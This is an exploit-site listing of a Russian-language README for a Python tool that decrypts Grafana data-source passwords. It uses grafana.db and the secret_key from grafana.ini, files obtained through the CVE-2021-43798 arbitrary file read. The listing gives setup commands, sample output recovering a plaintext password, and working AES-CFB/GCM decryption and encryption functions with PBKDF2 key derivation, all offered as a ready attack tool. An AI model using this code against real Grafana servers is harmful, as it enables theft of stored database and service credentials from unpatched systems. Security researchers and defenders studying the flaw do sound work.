Sploitus

Exploit for Grafana-Decryptor-for

kitploit Β· 2026-09-04

Exploit Code

MARKDOWN150 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SIC4RIO-GRAFANA-DECRYPTOR-FOR-CVE-2021-43798
# Π”Π΅ΡˆΠΈΡ„Ρ€Π°Ρ‚ΠΎΡ€ Grafana для CVE-2021-43798

Π­Ρ‚ΠΎΡ‚ скрипт Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ источников Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· экзСмпляра Grafana, уязвимого ΠΊ CVE-2021-43798, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π΅Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ΅ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ².

## ОписаниС

ВСрсии Grafana с 8.0.0-beta1 ΠΏΠΎ 8.3.0 уязвимы ΠΊ ΠΎΠ±Ρ…ΠΎΠ΄Ρƒ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ², Ρ‡Ρ‚ΠΎ позволяСт Π½Π΅Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° сСрвСрС. Π­Ρ‚ΠΎΡ‚ скрипт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ эту ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ для Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ источников Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅ `grafana.db`, с использованиСм `secret_key` ΠΈΠ· Ρ„Π°ΠΉΠ»Π° ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ `grafana.ini`.

## ВрСбования

  * Python 3.6+
  * Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Python: 
    * `requests`
    * `questionary`
    * `termcolor`
    * `cryptography`



## Установка

  1. ΠšΠ»ΠΎΠ½ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ΠΈΠ»ΠΈ скачайтС скрипт.
  2. УстановитС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Python: 

root@kitploit:~
         
         pip install requests questionary termcolor cryptography
         




## ИспользованиС

  1. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ `grafana.db` ΠΈ `grafana.ini` ΠΈΠ· Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ экзСмпляра Grafana.
  2. ЗапуститС скрипт для Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ источников Π΄Π°Π½Π½Ρ‹Ρ….



### ΠŸΡ€ΠΈΠΌΠ΅Ρ€: ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ пароля источника Π΄Π°Π½Π½Ρ‹Ρ…

root@kitploit:~
    
    
    python decrypt.py
    

### ΠŸΡ€ΠΈΠΌΠ΅Ρ€: Π¨ΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ пароля

Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ скрипта, раскоммСнтировав ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° Π² скриптС.

## Π”Π΅Ρ‚Π°Π»ΠΈ скрипта

### ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ

Π‘ΠΊΡ€ΠΈΠΏΡ‚ опрСдСляСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΏΡƒΡ‚Π΅ΠΌ Π°Π½Π°Π»ΠΈΠ·Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Алгоритм ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ β€” `aes-cfb`.

### Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ° пароля

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈ `secret_key` ΠΈΠ· `grafana.ini`, скрипт Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ источника Π΄Π°Π½Π½Ρ‹Ρ….

### Π¨ΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ пароля

Π‘ΠΊΡ€ΠΈΠΏΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ пароля с использованиСм Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈ `secret_key`.

## ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Π²ΠΎΠ΄Π°

root@kitploit:~
    
    
    ######################################
             GRAFANA DECRYPTOR
    CVE-2021-43798 Grafana Unauthorized
    arbitrary file reading vulnerability
                SICARI0
    ######################################
    
    ? Π’Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ источника Π΄Π°Π½Π½Ρ‹Ρ…: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
    
    [*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
    [*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
    [*] plainText= SuperSecureP@ssw0rd
    

### Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠΈ ΠΈ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ

root@kitploit:~
    
    
    def decrypt_gcm(block, payload):
        gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
        return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
    
    def decrypt_cfb(block, payload):
        if len(payload) < 16:
            raise ValueError("Payload too short")
        
        iv = payload[SALT_LENGTH:SALT_LENGTH+16]
        payload = payload[SALT_LENGTH+16:]
        decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
        return decryptor.update(payload) + decryptor.finalize()
    
    def encryption_key_to_bytes(secret, salt):
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA256(),
            length=32,
            salt=salt,
            iterations=10000,
            backend=default_backend()
        )
        return kdf.derive(secret.encode())
    
    def decrypt(payload, secret):
        alg, payload = derive_encryption_algorithm(payload)
        
        if len(payload) < SALT_LENGTH:
            raise ValueError("Unable to compute salt")
        
        salt = payload[:SALT_LENGTH]
        key = encryption_key_to_bytes(secret, salt)
        
        block = algorithms.AES(key)
        
        if alg == AES_GCM:
            return decrypt_gcm(key, payload)
        else:
            return decrypt_cfb(key, payload)
    
    def encrypt(payload, secret):
        salt = os.urandom(SALT_LENGTH)
        key = encryption_key_to_bytes(secret, salt)
        block = algorithms.AES(key)
        
        iv = os.urandom(16)
        encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
        encrypted = encryptor.update(payload) + encryptor.finalize()
        
        return salt + iv + encrypted
    

Π­Ρ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ процСссы Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠΈ ΠΈ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ.

## Π’ΠΊΠ»Π°Π΄

НС ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ issues ΠΈΠ»ΠΈ pull requests, Ссли Π²Ρ‹ нашли ошибки ΠΈΠ»ΠΈ Ρƒ вас Π΅ΡΡ‚ΡŒ прСдлоТСния ΠΏΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡŽ.

## ЛицСнзия

Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Π»ΠΈΡ†Π΅Π½Π·ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎΠ΄ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠ΅ΠΉ MIT. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ см. Π² Ρ„Π°ΠΉΠ»Π΅ LICENSE.